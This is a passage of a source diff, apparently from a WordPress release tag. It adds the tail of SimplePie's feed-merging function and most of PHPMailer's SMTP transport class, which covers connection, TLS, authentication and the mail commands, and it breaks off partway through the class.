+	 * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings
+	 * @param array $urls List of SimplePie feed objects to merge
+	 * @param int $start Starting item
+	 * @param int $end Number of items to return
+	 * @param int $limit Maximum number of items per feed
+	 * @return array
+	 */
+	public static function merge_items($urls, $start = 0, $end = 0, $limit = 0)
+	{
+		if (is_array($urls) && sizeof($urls) > 0)
+		{
+			$items = array();
+			foreach ($urls as $arg)
+			{
+				if ($arg instanceof SimplePie)
+				{
+					$items = array_merge($items, $arg->get_items(0, $limit));
+				}
+				else
+				{
+					trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
+				}
+			}
+
+			$do_sort = true;
+			foreach ($items as $item)
+			{
+				if (!$item->get_date('U'))
+				{
+					$do_sort = false;
+					break;
+				}
+			}
+			$item = null;
+			if ($do_sort)
+			{
+				usort($items, array(get_class($urls[0]), 'sort_items'));
+			}
+
+			if ($end === 0)
+			{
+				return array_slice($items, $start);
+			}
+			else
+			{
+				return array_slice($items, $start, $end);
+			}
+		}
+		else
+		{
+			trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
+			return array();
+		}
+	}
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/class-smtp.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-smtp.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-smtp.php	(revision 56912)
@@ -0,0 +1,1186 @@
+<?php
+/**
+ * PHPMailer RFC821 SMTP email transport class.
+ * PHP Version 5
+ * @package PHPMailer
+ * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
+ * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
+ * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
+ * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
+ * @author Brent R. Matzelle (original founder)
+ * @copyright 2014 Marcus Bointon
+ * @copyright 2010 - 2012 Jim Jagielski
+ * @copyright 2004 - 2009 Andy Prevost
+ * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
+ * @note This program is distributed in the hope that it will be useful - WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+/**
+ * PHPMailer RFC821 SMTP email transport class.
+ * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
+ * @package PHPMailer
+ * @author Chris Ryan
+ * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
+ */
+class SMTP
+{
+    /**
+     * The PHPMailer SMTP version number.
+     * @var string
+     */
+    const VERSION = '5.2.22';
+
+    /**
+     * SMTP line break constant.
+     * @var string
+     */
+    const CRLF = "\r\n";
+
+    /**
+     * The SMTP port to use if one is not specified.
+     * @var integer
+     */
+    const DEFAULT_SMTP_PORT = 25;
+
+    /**
+     * The maximum line length allowed by RFC 2822 section 2.1.1
+     * @var integer
+     */
+    const MAX_LINE_LENGTH = 998;
+
+    /**
+     * Debug level for no output
+     */
+    const DEBUG_OFF = 0;
+
+    /**
+     * Debug level to show client -> server messages
+     */
+    const DEBUG_CLIENT = 1;
+
+    /**
+     * Debug level to show client -> server and server -> client messages
+     */
+    const DEBUG_SERVER = 2;
+
+    /**
+     * Debug level to show connection status, client -> server and server -> client messages
+     */
+    const DEBUG_CONNECTION = 3;
+
+    /**
+     * Debug level to show all messages
+     */
+    const DEBUG_LOWLEVEL = 4;
+
+    /**
+     * The PHPMailer SMTP Version number.
+     * @var string
+     * @deprecated Use the `VERSION` constant instead
+     * @see SMTP::VERSION
+     */
+    public $Version = '5.2.22';
+
+    /**
+     * SMTP server port number.
+     * @var integer
+     * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
+     * @see SMTP::DEFAULT_SMTP_PORT
+     */
+    public $SMTP_PORT = 25;
+
+    /**
+     * SMTP reply line ending.
+     * @var string
+     * @deprecated Use the `CRLF` constant instead
+     * @see SMTP::CRLF
+     */
+    public $CRLF = "\r\n";
+
+    /**
+     * Debug output level.
+     * Options:
+     * * self::DEBUG_OFF (`0`) No debug output, default
+     * * self::DEBUG_CLIENT (`1`) Client commands
+     * * self::DEBUG_SERVER (`2`) Client commands and server responses
+     * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
+     * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
+     * @var integer
+     */
+    public $do_debug = self::DEBUG_OFF;
+
+    /**
+     * How to handle debug output.
+     * Options:
+     * * `echo` Output plain-text as-is, appropriate for CLI
+     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
+     * * `error_log` Output to error log as configured in php.ini
+     *
+     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
+     * <code>
+     * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
+     * </code>
+     * @var string|callable
+     */
+    public $Debugoutput = 'echo';
+
+    /**
+     * Whether to use VERP.
+     * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
+     * @link http://www.postfix.org/VERP_README.html Info on VERP
+     * @var boolean
+     */
+    public $do_verp = false;
+
+    /**
+     * The timeout value for connection, in seconds.
+     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
+     * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
+     * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
+     * @var integer
+     */
+    public $Timeout = 300;
+
+    /**
+     * How long to wait for commands to complete, in seconds.
+     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
+     * @var integer
+     */
+    public $Timelimit = 300;
+
+	/**
+	 * @var array patterns to extract smtp transaction id from smtp reply
+	 * Only first capture group will be use, use non-capturing group to deal with it
+	 * Extend this class to override this property to fulfil your needs.
+	 */
+	protected $smtp_transaction_id_patterns = array(
+		'exim' => '/[0-9]{3} OK id=(.*)/',
+		'sendmail' => '/[0-9]{3} 2.0.0 (.*) Message/',
+		'postfix' => '/[0-9]{3} 2.0.0 Ok: queued as (.*)/'
+	);
+
+    /**
+     * The socket for the server connection.
+     * @var resource
+     */
+    protected $smtp_conn;
+
+    /**
+     * Error information, if any, for the last SMTP command.
+     * @var array
+     */
+    protected $error = array(
+        'error' => '',
+        'detail' => '',
+        'smtp_code' => '',
+        'smtp_code_ex' => ''
+    );
+
+    /**
+     * The reply the server sent to us for HELO.
+     * If null, no HELO string has yet been received.
+     * @var string|null
+     */
+    protected $helo_rply = null;
+
+    /**
+     * The set of SMTP extensions sent in reply to EHLO command.
+     * Indexes of the array are extension names.
+     * Value at index 'HELO' or 'EHLO' (according to command that was sent)
+     * represents the server name. In case of HELO it is the only element of the array.
+     * Other values can be boolean TRUE or an array containing extension options.
+     * If null, no HELO/EHLO string has yet been received.
+     * @var array|null
+     */
+    protected $server_caps = null;
+
+    /**
+     * The most recent reply received from the server.
+     * @var string
+     */
+    protected $last_reply = '';
+
+    /**
+     * Output debugging info via a user-selected method.
+     * @see SMTP::$Debugoutput
+     * @see SMTP::$do_debug
+     * @param string $str Debug string to output
+     * @param integer $level The debug level of this message; see DEBUG_* constants
+     * @return void
+     */
+    protected function edebug($str, $level = 0)
+    {
+        if ($level > $this->do_debug) {
+            return;
+        }
+        //Avoid clash with built-in function names
+        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
+            call_user_func($this->Debugoutput, $str, $level);
+            return;
+        }
+        switch ($this->Debugoutput) {
+            case 'error_log':
+                //Don't output, just log
+                error_log($str);
+                break;
+            case 'html':
+                //Cleans up output a bit for a better looking, HTML-safe output
+                echo htmlentities(
+                    preg_replace('/[\r\n]+/', '', $str),
+                    ENT_QUOTES,
+                    'UTF-8'
+                )
+                . "<br>\n";
+                break;
+            case 'echo':
+            default:
+                //Normalize line breaks
+                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
+                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
+                    "\n",
+                    "\n                   \t                  ",
+                    trim($str)
+                )."\n";
+        }
+    }
+
+    /**
+     * Connect to an SMTP server.
+     * @param string $host SMTP server IP or host name
+     * @param integer $port The port number to connect to
+     * @param integer $timeout How long to wait for the connection to open
+     * @param array $options An array of options for stream_context_create()
+     * @access public
+     * @return boolean
+     */
+    public function connect($host, $port = null, $timeout = 30, $options = array())
+    {
+        static $streamok;
+        //This is enabled by default since 5.0.0 but some providers disable it
+        //Check this once and cache the result
+        if (is_null($streamok)) {
+            $streamok = function_exists('stream_socket_client');
+        }
+        // Clear errors to avoid confusion
+        $this->setError('');
+        // Make sure we are __not__ connected
+        if ($this->connected()) {
+            // Already connected, generate error
+            $this->setError('Already connected to a server');
+            return false;
+        }
+        if (empty($port)) {
+            $port = self::DEFAULT_SMTP_PORT;
+        }
+        // Connect to the SMTP server
+        $this->edebug(
+            "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
+            self::DEBUG_CONNECTION
+        );
+        $errno = 0;
+        $errstr = '';
+        if ($streamok) {
+            $socket_context = stream_context_create($options);
+            set_error_handler(array($this, 'errorHandler'));
+            $this->smtp_conn = stream_socket_client(
+                $host . ":" . $port,
+                $errno,
+                $errstr,
+                $timeout,
+                STREAM_CLIENT_CONNECT,
+                $socket_context
+            );
+            restore_error_handler();
+        } else {
+            //Fall back to fsockopen which should work in more places, but is missing some features
+            $this->edebug(
+                "Connection: stream_socket_client not available, falling back to fsockopen",
+                self::DEBUG_CONNECTION
+            );
+            set_error_handler(array($this, 'errorHandler'));
+            $this->smtp_conn = fsockopen(
+                $host,
+                $port,
+                $errno,
+                $errstr,
+                $timeout
+            );
+            restore_error_handler();
+        }
+        // Verify we connected properly
+        if (!is_resource($this->smtp_conn)) {
+            $this->setError(
+                'Failed to connect to server',
+                $errno,
+                $errstr
+            );
+            $this->edebug(
+                'SMTP ERROR: ' . $this->error['error']
+                . ": $errstr ($errno)",
+                self::DEBUG_CLIENT
+            );
+            return false;
+        }
+        $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
+        // SMTP server can take longer to respond, give longer timeout for first read
+        // Windows does not have support for this timeout function
+        if (substr(PHP_OS, 0, 3) != 'WIN') {
+            $max = ini_get('max_execution_time');
+            // Don't bother if unlimited
+            if ($max != 0 && $timeout > $max) {
+                @set_time_limit($timeout);
+            }
+            stream_set_timeout($this->smtp_conn, $timeout, 0);
+        }
+        // Get any announcement
+        $announce = $this->get_lines();
+        $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
+        return true;
+    }
+
+    /**
+     * Initiate a TLS (encrypted) session.
+     * @access public
+     * @return boolean
+     */
+    public function startTLS()
+    {
+        if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
+            return false;
+        }
+
+        //Allow the best TLS version(s) we can
+        $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;
+
+        //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT
+        //so add them back in manually if we can
+        if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {
+            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
+            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
+        }
+
+        // Begin encrypted connection
+        if (!stream_socket_enable_crypto(
+            $this->smtp_conn,
+            true,
+            $crypto_method
+        )) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Perform SMTP authentication.
+     * Must be run after hello().
+     * @see hello()
+     * @param string $username The user name
+     * @param string $password The password
+     * @param string $authtype The auth type (PLAIN, LOGIN, CRAM-MD5)
+     * @param string $realm The auth realm for NTLM
+     * @param string $workstation The auth workstation for NTLM
+     * @param null|OAuth $OAuth An optional OAuth instance (@see PHPMailerOAuth)
+     * @return bool True if successfully authenticated.* @access public
+     */
+    public function authenticate(
+        $username,
+        $password,
+        $authtype = null,
+        $realm = '',
+        $workstation = '',
+        $OAuth = null
+    ) {
+        if (!$this->server_caps) {
+            $this->setError('Authentication is not allowed before HELO/EHLO');
+            return false;
+        }
+
+        if (array_key_exists('EHLO', $this->server_caps)) {
+        // SMTP extensions are available. Let's try to find a proper authentication method
+
+            if (!array_key_exists('AUTH', $this->server_caps)) {
+                $this->setError('Authentication is not allowed at this stage');
+                // 'at this stage' means that auth may be allowed after the stage changes
+                // e.g. after STARTTLS
+                return false;
+            }
+
+            self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
+            self::edebug(
+                'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
+                self::DEBUG_LOWLEVEL
+            );
+
+            if (empty($authtype)) {
+                foreach (array('CRAM-MD5', 'LOGIN', 'PLAIN') as $method) {
+                    if (in_array($method, $this->server_caps['AUTH'])) {
+                        $authtype = $method;
+                        break;
+                    }
+                }
+                if (empty($authtype)) {
+                    $this->setError('No supported authentication methods found');
+                    return false;
+                }
+                self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
+            }
+
+            if (!in_array($authtype, $this->server_caps['AUTH'])) {
+                $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
+                return false;
+            }
+        } elseif (empty($authtype)) {
+            $authtype = 'LOGIN';
+        }
+        switch ($authtype) {
+            case 'PLAIN':
+                // Start authentication
+                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
+                    return false;
+                }
+                // Send encoded username and password
+                if (!$this->sendCommand(
+                    'User & Password',
+                    base64_encode("\0" . $username . "\0" . $password),
+                    235
+                )
+                ) {
+                    return false;
+                }
+                break;
+            case 'LOGIN':
+                // Start authentication
+                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
+                    return false;
+                }
+                if (!$this->sendCommand("Username", base64_encode($username), 334)) {
+                    return false;
+                }
+                if (!$this->sendCommand("Password", base64_encode($password), 235)) {
+                    return false;
+                }
+                break;
+            case 'CRAM-MD5':
+                // Start authentication
+                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
+                    return false;
+                }
+                // Get the challenge
+                $challenge = base64_decode(substr($this->last_reply, 4));
+
+                // Build the response
+                $response = $username . ' ' . $this->hmac($challenge, $password);
+
+                // send encoded credentials
+                return $this->sendCommand('Username', base64_encode($response), 235);
+            default:
+                $this->setError("Authentication method \"$authtype\" is not supported");
+                return false;
+        }
+        return true;
+    }
+
+    /**
+     * Calculate an MD5 HMAC hash.
+     * Works like hash_hmac('md5', $data, $key)
+     * in case that function is not available
+     * @param string $data The data to hash
+     * @param string $key  The key to hash with
+     * @access protected
+     * @return string
+     */
+    protected function hmac($data, $key)
+    {
+        if (function_exists('hash_hmac')) {
+            return hash_hmac('md5', $data, $key);
+        }
+
+        // The following borrowed from
+        // http://php.net/manual/en/function.mhash.php#27225
+
+        // RFC 2104 HMAC implementation for php.
+        // Creates an md5 HMAC.
+        // Eliminates the need to install mhash to compute a HMAC
+        // by Lance Rushing
+
+        $bytelen = 64; // byte length for md5
+        if (strlen($key) > $bytelen) {
+            $key = pack('H*', md5($key));
+        }
+        $key = str_pad($key, $bytelen, chr(0x00));
+        $ipad = str_pad('', $bytelen, chr(0x36));
+        $opad = str_pad('', $bytelen, chr(0x5c));
+        $k_ipad = $key ^ $ipad;
+        $k_opad = $key ^ $opad;
+
+        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
+    }
+
+    /**
+     * Check connection state.
+     * @access public
+     * @return boolean True if connected.
+     */
+    public function connected()
+    {
+        if (is_resource($this->smtp_conn)) {
+            $sock_status = stream_get_meta_data($this->smtp_conn);
+            if ($sock_status['eof']) {
+                // The socket is valid but we are not connected
+                $this->edebug(
+                    'SMTP NOTICE: EOF caught while checking if connected',
+                    self::DEBUG_CLIENT
+                );
+                $this->close();
+                return false;
+            }
+            return true; // everything looks good
+        }
+        return false;
+    }
+
+    /**
+     * Close the socket and clean up the state of the class.
+     * Don't use this function without first trying to use QUIT.
+     * @see quit()
+     * @access public
+     * @return void
+     */
+    public function close()
+    {
+        $this->setError('');
+        $this->server_caps = null;
+        $this->helo_rply = null;
+        if (is_resource($this->smtp_conn)) {
+            // close the connection and cleanup
+            fclose($this->smtp_conn);
+            $this->smtp_conn = null; //Makes for cleaner serialization
+            $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
+        }
+    }
+
+    /**
+     * Send an SMTP DATA command.
+     * Issues a data command and sends the msg_data to the server,
+     * finializing the mail transaction. $msg_data is the message
+     * that is to be send with the headers. Each header needs to be
+     * on a single line followed by a <CRLF> with the message headers
+     * and the message body being separated by and additional <CRLF>.
+     * Implements rfc 821: DATA <CRLF>
+     * @param string $msg_data Message data to send
+     * @access public
+     * @return boolean
+     */
+    public function data($msg_data)
+    {
+        //This will use the standard timelimit
+        if (!$this->sendCommand('DATA', 'DATA', 354)) {
+            return false;
+        }
+
+        /* The server is ready to accept data!
+         * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
+         * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
+         * smaller lines to fit within the limit.
+         * We will also look for lines that start with a '.' and prepend an additional '.'.
+         * NOTE: this does not count towards line-length limit.
+         */
+
+        // Normalize line breaks before exploding
+        $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
+
+        /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
+         * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
+         * process all lines before a blank line as headers.
+         */
+
+        $field = substr($lines[0], 0, strpos($lines[0], ':'));
+        $in_headers = false;
+        if (!empty($field) && strpos($field, ' ') === false) {
+            $in_headers = true;
+        }
+
+        foreach ($lines as $line) {
+            $lines_out = array();
+            if ($in_headers and $line == '') {
+                $in_headers = false;
+            }
+            //Break this line up into several smaller lines if it's too long
+            //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
+            while (isset($line[self::MAX_LINE_LENGTH])) {
+                //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
+                //so as to avoid breaking in the middle of a word
+                $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
+                //Deliberately matches both false and 0
+                if (!$pos) {
+                    //No nice break found, add a hard break
+                    $pos = self::MAX_LINE_LENGTH - 1;
+                    $lines_out[] = substr($line, 0, $pos);
+                    $line = substr($line, $pos);
+                } else {
+                    //Break at the found point
+                    $lines_out[] = substr($line, 0, $pos);
+                    //Move along by the amount we dealt with
+                    $line = substr($line, $pos + 1);
+                }
+                //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
+                if ($in_headers) {
+                    $line = "\t" . $line;
+                }
+            }
+            $lines_out[] = $line;
+
+            //Send the lines to the server
+            foreach ($lines_out as $line_out) {
+                //RFC2821 section 4.5.2
+                if (!empty($line_out) and $line_out[0] == '.') {
+                    $line_out = '.' . $line_out;
+                }
+                $this->client_send($line_out . self::CRLF);
+            }
+        }
+
+        //Message data has been sent, complete the command
+        //Increase timelimit for end of DATA command
+        $savetimelimit = $this->Timelimit;
+        $this->Timelimit = $this->Timelimit * 2;
+        $result = $this->sendCommand('DATA END', '.', 250);
+        //Restore timelimit
+        $this->Timelimit = $savetimelimit;
+        return $result;
+    }
+
+    /**
+     * Send an SMTP HELO or EHLO command.
+     * Used to identify the sending server to the receiving server.
+     * This makes sure that client and server are in a known state.
+     * Implements RFC 821: HELO <SP> <domain> <CRLF>
+     * and RFC 2821 EHLO.
+     * @param string $host The host name or IP to connect to
+     * @access public
+     * @return boolean
+     */
+    public function hello($host = '')
+    {
+        //Try extended hello first (RFC 2821)
+        return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
+    }
+
+    /**
+     * Send an SMTP HELO or EHLO command.
+     * Low-level implementation used by hello()
+     * @see hello()
+     * @param string $hello The HELO string
+     * @param string $host The hostname to say we are
+     * @access protected
+     * @return boolean
+     */
+    protected function sendHello($hello, $host)
+    {
+        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
+        $this->helo_rply = $this->last_reply;
+        if ($noerror) {
+            $this->parseHelloFields($hello);
+        } else {
+            $this->server_caps = null;
+        }
+        return $noerror;
+    }
+
+    /**
+     * Parse a reply to HELO/EHLO command to discover server extensions.
+     * In case of HELO, the only parameter that can be discovered is a server name.
+     * @access protected
+     * @param string $type - 'HELO' or 'EHLO'
+     */
+    protected function parseHelloFields($type)
+    {
+        $this->server_caps = array();
+        $lines = explode("\n", $this->helo_rply);
+
+        foreach ($lines as $n => $s) {
+            //First 4 chars contain response code followed by - or space
+            $s = trim(substr($s, 4));
+            if (empty($s)) {
+                continue;
+            }
+            $fields = explode(' ', $s);
+            if (!empty($fields)) {
+                if (!$n) {
+                    $name = $type;
+                    $fields = $fields[0];
+                } else {
+                    $name = array_shift($fields);
+                    switch ($name) {
+                        case 'SIZE':
+                            $fields = ($fields ? $fields[0] : 0);
+                            break;
+                        case 'AUTH':
+                            if (!is_array($fields)) {
+                                $fields = array();
+                            }
+                            break;
+                        default:
+                            $fields = true;
+                    }
+                }
+                $this->server_caps[$name] = $fields;
+            }
+        }
+    }
+
+    /**
+     * Send an SMTP MAIL command.
+     * Starts a mail transaction from the email address specified in
+     * $from. Returns true if successful or false otherwise. If True
+     * the mail transaction is started and then one or more recipient
+     * commands may be called followed by a data command.
+     * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
+     * @param string $from Source address of this message
+     * @access public
+     * @return boolean
+     */
+    public function mail($from)
+    {
+        $useVerp = ($this->do_verp ? ' XVERP' : '');
+        return $this->sendCommand(
+            'MAIL FROM',
+            'MAIL FROM:<' . $from . '>' . $useVerp,
+            250
+        );
+    }
+
+    /**
+     * Send an SMTP QUIT command.
+     * Closes the socket if there is no error or the $close_on_error argument is true.
+     * Implements from rfc 821: QUIT <CRLF>
+     * @param boolean $close_on_error Should the connection close if an error occurs?
+     * @access public
+     * @return boolean
+     */
+    public function quit($close_on_error = true)
+    {
+        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
+        $err = $this->error; //Save any error
+        if ($noerror or $close_on_error) {
+            $this->close();
+            $this->error = $err; //Restore any error from the quit command
+        }
+        return $noerror;
+    }
+
+    /**
+     * Send an SMTP RCPT command.
+     * Sets the TO argument to $toaddr.
+     * Returns true if the recipient was accepted false if it was rejected.
+     * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
+     * @param string $address The address the message is being sent to
+     * @access public
+     * @return boolean
+     */
+    public function recipient($address)
+    {
+        return $this->sendCommand(
+            'RCPT TO',
+            'RCPT TO:<' . $address . '>',
+            array(250, 251)
+        );
+    }
+
+    /**
+     * Send an SMTP RSET command.
+     * Abort any transaction that is currently in progress.
+     * Implements rfc 821: RSET <CRLF>
+     * @access public
+     * @return boolean True on success.
+     */
+    public function reset()
+    {
+        return $this->sendCommand('RSET', 'RSET', 250);
+    }
+
+    /**
+     * Send a command to an SMTP server and check its return code.
+     * @param string $command The command name - not sent to the server
+     * @param string $commandstring The actual command to send
+     * @param integer|array $expect One or more expected integer success codes
+     * @access protected
+     * @return boolean True on success.
+     */
+    protected function sendCommand($command, $commandstring, $expect)
+    {
+        if (!$this->connected()) {
+            $this->setError("Called $command without being connected");
+            return false;
+        }
+        //Reject line breaks in all commands
+        if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) {
+            $this->setError("Command '$command' contained line breaks");
+            return false;
+        }
+        $this->client_send($commandstring . self::CRLF);
+
+        $this->last_reply = $this->get_lines();
+        // Fetch SMTP code and possible error code explanation
+        $matches = array();
+        if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
+            $code = $matches[1];
+            $code_ex = (count($matches) > 2 ? $matches[2] : null);
+            // Cut off error code from each response line
+            $detail = preg_replace(
+                "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
+                '',
+                $this->last_reply
+            );
+        } else {
+            // Fall back to simple parsing if regex fails
+            $code = substr($this->last_reply, 0, 3);
+            $code_ex = null;
+            $detail = substr($this->last_reply, 4);
+        }
+
+        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
+
+        if (!in_array($code, (array)$expect)) {
+            $this->setError(
+                "$command command failed",
+                $detail,
+                $code,
+                $code_ex
+            );
+            $this->edebug(
+                'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
+                self::DEBUG_CLIENT
+            );
+            return false;
+        }
+
+        $this->setError('');
+        return true;
+    }
+
+    /**
+     * Send an SMTP SAML command.
+     * Starts a mail transaction from the email address specified in $from.
+     * Returns true if successful or false otherwise. If True
+     * the mail transaction is started and then one or more recipient
+     * commands may be called followed by a data command. This command
+     * will send the message to the users terminal if they are logged
+     * in and send them an email.
+     * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
+     * @param string $from The address the message is from
+     * @access public
+     * @return boolean
+     */
+    public function sendAndMail($from)
+    {
+        return $this->sendCommand('SAML', "SAML FROM:$from", 250);
+    }
+
+    /**
+     * Send an SMTP VRFY command.
+     * @param string $name The name to verify
+     * @access public
+     * @return boolean
+     */
+    public function verify($name)
+    {
+        return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
+    }
+
+    /**
+     * Send an SMTP NOOP command.
+     * Used to keep keep-alives alive, doesn't actually do anything
+     * @access public
+     * @return boolean
+     */
+    public function noop()
+    {
+        return $this->sendCommand('NOOP', 'NOOP', 250);
+    }
+
+    /**
+     * Send an SMTP TURN command.
+     * This is an optional command for SMTP that this class does not support.
+     * This method is here to make the RFC821 Definition complete for this class
+     * and _may_ be implemented in future
+     * Implements from rfc 821: TURN <CRLF>
+     * @access public
+     * @return boolean
+     */
+    public function turn()
+    {
+        $this->setError('The SMTP TURN command is not implemented');
+        $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
+        return false;
+    }
+
+    /**
+     * Send raw data to the server.
+     * @param string $data The data to send
+     * @access public
+     * @return integer|boolean The number of bytes sent to the server or false on error
+     */
+    public function client_send($data)
+    {
+        $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
+        return fwrite($this->smtp_conn, $data);
+    }
+
+    /**
+     * Get the latest error.
+     * @access public
+     * @return array
+     */
+    public function getError()
+    {
+        return $this->error;
+    }
+
+    /**
+     * Get SMTP extensions available on the server
+     * @access public
+     * @return array|null
+     */
+    public function getServerExtList()
+    {
+        return $this->server_caps;
+    }
+
+    /**
+     * A multipurpose method
+     * The method works in three ways, dependent on argument value and current state
+     *   1. HELO/EHLO was not sent - returns null and set up $this->error
+     *   2. HELO was sent
+     *     $name = 'HELO': returns server name
+     *     $name = 'EHLO': returns boolean false
+     *     $name = any string: returns null and set up $this->error
+     *   3. EHLO was sent
+     *     $name = 'HELO'|'EHLO': returns server name
+     *     $name = any string: if extension $name exists, returns boolean True
+     *       or its options. Otherwise returns boolean False
+     * In other words, one can use this method to detect 3 conditions:
+     *  - null returned: handshake was not or we don't know about ext (refer to $this->error)
+     *  - false returned: the requested feature exactly not exists
+     *  - positive value returned: the requested feature exists
+     * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
+     * @return mixed
+     */
+    public function getServerExt($name)
+    {
+        if (!$this->server_caps) {
+            $this->setError('No HELO/EHLO was sent');
+            return null;
+        }
+
+        // the tight logic knot ;)
+        if (!array_key_exists($name, $this->server_caps)) {
+            if ($name == 'HELO') {
+                return $this->server_caps['EHLO'];
+            }
+            if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
+                return false;
+            }
+            $this->setError('HELO handshake was used. Client knows nothing about server extensions');
+            return null;
+        }
+
+        return $this->server_caps[$name];
+    }
+
+    /**
+     * Get the last reply from the server.
+     * @access public
+     * @return string
+     */
+    public function getLastReply()
+    {
+        return $this->last_reply;
+    }
+
+    /**
+     * Read the SMTP server's response.
+     * Either before eof or socket timeout occurs on the operation.
+     * With SMTP we can tell if we have more lines to read if the
+     * 4th character is '-' symbol. If it is a space then we don't
+     * need to read anything else.
+     * @access protected
+     * @return string
+     */
+    protected function get_lines()
+    {
+        // If the connection is bad, give up straight away
+        if (!is_resource($this->smtp_conn)) {
+            return '';
+        }
+        $data = '';
+        $endtime = 0;
+        stream_set_timeout($this->smtp_conn, $this->Timeout);
+        if ($this->Timelimit > 0) {
+            $endtime = time() + $this->Timelimit;
+        }
+        while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
+            $str = @fgets($this->smtp_conn, 515);
+            $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
+            $this->edebug("SMTP -> get_lines(): \$str is  \"$str\"", self::DEBUG_LOWLEVEL);
+            $data .= $str;
+            // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
+            if ((isset($str[3]) and $str[3] == ' ')) {
+                break;
+            }
+            // Timed-out? Log and break
+            $info = stream_get_meta_data($this->smtp_conn);
+            if ($info['timed_out']) {
+                $this->edebug(
+                    'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
+                    self::DEBUG_LOWLEVEL
+                );
+                break;
+            }
+            // Now check if reads took too long
+            if ($endtime and time() > $endtime) {
+                $this->edebug(
+                    'SMTP -> get_lines(): timelimit reached ('.
+                    $this->Timelimit . ' sec)',
+                    self::DEBUG_LOWLEVEL
+                );
+                break;
+            }
+        }
+        return $data;
+    }
+
+    /**
+     * Enable or disable VERP address generation.
+     * @param boolean $enabled
+     */
+    public function setVerp($enabled = false)
+    {
+        $this->do_verp = $enabled;
+    }
+
+    /**
+     * Get VERP address generation mode.
+     * @return boolean
